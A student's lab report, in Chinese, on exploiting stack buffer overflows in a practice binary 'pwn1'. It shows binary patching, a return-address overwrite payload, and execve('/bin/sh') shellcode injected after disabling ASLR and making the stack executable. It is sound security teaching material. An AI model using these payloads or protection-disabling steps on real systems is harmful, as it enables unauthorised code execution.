一、实验内容
1、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
2、三个实践内容
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。
3、实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码;
掌握反汇编与十六进制编程器;
能正确修改机器指令改变程序执行流程;
能正确构造payload进行bof攻击。
二、实验相关知识
1、缓冲区溢出概念
缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。
细究缓冲区溢出攻击发生的根本原因,可以认为是现代计算机系统的基础架构——冯·诺伊曼体系存在本质的安全缺陷,即采用了“存储程序”的原理,计算机程序的数据和指令都在同一内存中进行存储而没有严格的分离。这一缺陷使得攻击者可以将输入的数据,通过利用缓冲区溢出漏洞,覆盖修改程序在内存空间中与数据区相邻存储的关键指令,从而达到使程序执行恶意注入指令的攻击目的。
缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,又分为栈溢出、堆溢出和内核溢出这三种具体技术形态。
栈溢出:栈溢出是指存储在栈上的一些缓冲区变量由于缺乏存在边界保护问题,能够被溢出并修改栈上的敏感信息(通常是返回地址),从而导致程序流程的改变。
堆溢出:堆溢出是存储在堆上的缓冲区变量缺乏边界保护所遭受溢出攻击的安全问题。
内核溢出:内核溢出漏洞存在于一些内核模块或程序中,是由于进程内存空间内核态中存储的缓冲区变量被溢出造成的。
2、Linux平台的栈溢出攻击技术
NSR 模式:NSR 模式主要适用于被溢出的缓冲区变量比较大,足以容纳 Shellcode 的情况,其攻击数据从低地址到高地址的构造方式是一堆 Nop 指令(即空操作指令)之后填充 Shellcode,再加上一些期望覆盖 RET 返回地址的跳转地址,从而构成了 NSR 攻击数据缓冲区。
RNS 模式:第二种栈溢出的模式为 RNS 模式,一般用于被溢出的变量比较小,不足于容纳 Shellcode 的情况。
RS 模式:在这种模式下能够精确地定位出 Shellcode 在目标漏洞程序进程空间中的起始地址,因此也就无须引入 Nop 空指令构建“着陆区”。
3、Linux平台的Shellcode实现技术
shellcode 是一段用于利用软件漏洞而执行的代码,shellcode 为 16 进制的机器码,因为经常让攻击者获得 shell 而得名。shellcode 常常使用机器语言编写。可在暂存器 eip 溢出后,塞入一段可让 CPU 执行的 shellcode 机器码,让电脑可以执行攻击者的任意指令。
在 Linux 操作系统中,程序通过“int Ox80"软中断来执行系统调用,而在 Windows 操作系统中,则通过核心 DLL 中提供的 API 接口来完成系统调用。
4、缓冲区溢出攻击的防御技术
尝试杜绝溢出的防御技术:研究人员开发了一些工具和技术来帮助经验不足的程序员编写安全正确的程序,包括一些高级的查错程序,如 fault injection 等,通过 Fuzz 注入测试来寻找代码的安全漏洞,还有一些分析工具用于侦测缓冲区溢出漏洞是否存在。
允许溢出但不让程序改变执行流程的防御技术:StackGuard 是最早提出也是最经典的此类技术,针对覆盖函数返回地址的溢出攻击,通过对编译器 gcc 加补丁,使得在函数入口处能够自动地在栈中返回地址的前面生成一个“Canary"(金丝雀)检测标记,在函数调用结束检测该标记是否改变来阻止溢出改变返回地址,从而阻止缓冲区溢出攻击。
无法让攻击代码执行的防御技术:IA64、AMD64、Alpha 等新的 CPU 硬件体系框架都引入对基于硬件 NX 保护机制,从硬件上支持对特定内存页设置成不可执行,Windows XP SP2、Linux 内核 2.6 及以后版本都支持硬件 NX 保护机制,与橾作系统配合来提升系统的安全性。
三、实验过程
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
在kali中打开文件pwn1,使用命令objdump -d pwn1 | more对该文件进行反汇编。(“|more”是加管道符,使之可以分页显示)
可以看到有三个函数,getShell,foo,main;
call 8048491是汇编指令,意思是这条指令将调用位于地址8048491处的foo函数,其对应机器指令为e8 d7ff ff ff,e8即跳转之意。
当main函数按顺序执行到80484b5时,会执行机器指令:e8 d7 ff ff ff,执行汇编指令call 8048491 。
汇编指令call对应的机器指令是e8,8048491 代表foo函数,foo函数的偏移地址是d7 ff ff ff。
EIP地址为80484ba,那么call指令跳转的fall函数入口地址(0x08048491)=EIP地址(0x080484ba)+偏移量(0xffffffd7)。
同理,可以计算出call指令跳转到getshell函数所需的偏移量=getshell函数入口地址(0x0804847d)-执行call指令时的EIP地址(0x080484ba)。
又因为0x0804847d-0x080484ba=0xffffffc3,所以为了改变程序执行流程,直接跳转到getShell函数的方法是:将e8 d7 ff ff ff改为e8 c3 ff ff ff。
在修改之前将文件备份,输入指令“cp pwn1 pwn20222928”。
输入指令“vi pwn1”。
可以看到基本全是乱码。
输入指令:“:%!xxd”,将乱码转换为16进制。
输入命令“/e8 d7”,以查找要修改的内容。
找到需要修改的e8 d7 ff ff ff中的d7,按“i”进入编辑界面,此时在窗体最底部会出现 “-- 插入 --”,然后将d7改为c3。
输入完毕后,按 ESC键 ,这个时候会发现底部的“ – 插入 --”没有了,
再输入 “:wq ”命令,并按回车键,以保存编辑的文件,并且退出vim编辑 。
而后输入指令“:%!xxd -r”,将十六进制还原成原来的乱码,再输入“:wq"保存修改。
再次利用命令“objdump -d pwn20222928 | more”反汇编pwn1文件,查看上述操作是否更改了其中main函数call的部分,发现已经更改成功。
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
在kali中使用命令“objdump -d pwn1 | more”对该文件进行反汇编。找到其中的foo函数,该函数主要是通过gets函数来读取用户的输入,并用puts函数输出,然而该foo函数没有检查用户的输入是否合法,因此存在缓冲区溢出攻击的可能性。查询相关资料得到gets函数读取的字符包含了28个字节大小,那么超出的部分就会发生缓冲区溢出。
利用命令“apt install gdb” 安装gdb工具。
输入指令“gdb pwn1”,来使用gdb调试pwn1。
输入“r”,运行pwn1。
输入长度为40的字符串(1111111122222222333333334444444455555555 )测试foo函数,结果提示段错误,说明出现了数组越界访问,这其实是因为输入超过了预留的28个字节,造成溢出。
输入指令“info r”,可以看到eip的值为0x35353535 ,对应 ASCII码5555。
接下来输入字符串1111111122222222333333334444444412345678来测试缓冲区溢出,并查看其中的eip寄存器值为0x34333231,分别对应的是4321三个数值的ASCII码值,也就是说gdb中的1234会覆盖eip寄存器。
因此我们只需要修改第33~36个字节的内容为 getShell 的内存地址,就可以让foo函数运行时跳到getShell。由于键盘无法直接输入十六进制,我们使用命令 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a 进行转换,得到替换的值。
输入指令“xxd 20222928” ,以查看20222928文件的内容是否如预期。
输入指令“(cat 20222928;cat) | ./pwn1”,将20222928的输入,作为pwn1的输入。
最后使用指令 “ls” 进行测试,发现程序成功调用了getShell函数。
3、注入一个自己制作的shellcode并运行这段shellcode。
首先输入指令“apt-get install execstack”,以安装execstack。
输入命令“execstack -s pwn1”,将堆栈设置为可执行状态;
输入命令“execstack -q pwn1”,查看pwn1文件的堆栈是否可执行;
输入命令“echo “0”> /proc/sys/kernel/randomize_va_space”,以关闭地址随机化。
使用输出重定向将perl生成的字符串存储到文件中。输入命令:perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_20222928 。
输入指令:(cat input_20222928;cat) | ./pwn1,将input_20222928作为pwn1的输入。
然后再开一个新的终端,输入指令:ps -ef | grep pwn1,查询到进程号是23205。
利用gdb进行调试。输入指令“attach 23205” 查看pwn1进程。
然后输入指令“disassemble foo”,可以得到ret的地址为0x080484ae。
利用命令“break *0x080484ae”设置断点,输入c继续运行。在第一个终端中按回车后,再在第二个终端中输入命令“info r esp”,以查看栈顶指针所在的位置为 0xffffd3dc 。
于是可以算出shellcode地址就是:0xffffd3dc+0x00000004= 0xffffd3e0。
然后退出gbd,输入指令:perl -e ‘print “A” x 32;print “\xe0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00”’ > input_20222928 重新构造 input_20222928文件。
输入指令:(cat input_20222928; cat) | ./pwn1,将刚才制作的shellcode作为pwn的输入注入文件,运行可发现这段自己制作并注入的shellcode攻击成功,成功得到了shell。
四、学习中遇到的问题及解决
问题1:在第一个小实验中,对pwn20222928进行反汇编出现了格式问题。
解决:实在是没发现哪里有问题,用室友的虚拟机做,一样的步骤,成功了。
问题2:kali不识别gdb命令,说明没有安装gdb。
解决:利用命令“apt install gdb”,安装gdb。
五、实践总结
本次实验主要关于缓冲区溢出,涉及到一些汇编、寄存器等知识,我本科没有学过,所以这次花费了很多时间查阅资料以理解实验原理,同学也帮助了我很多,总体来说,感觉难度不小,但收获满满,学习使用了gdb、execstack等工具,成功制作并注入shellcode,只要一直在进步,就ok。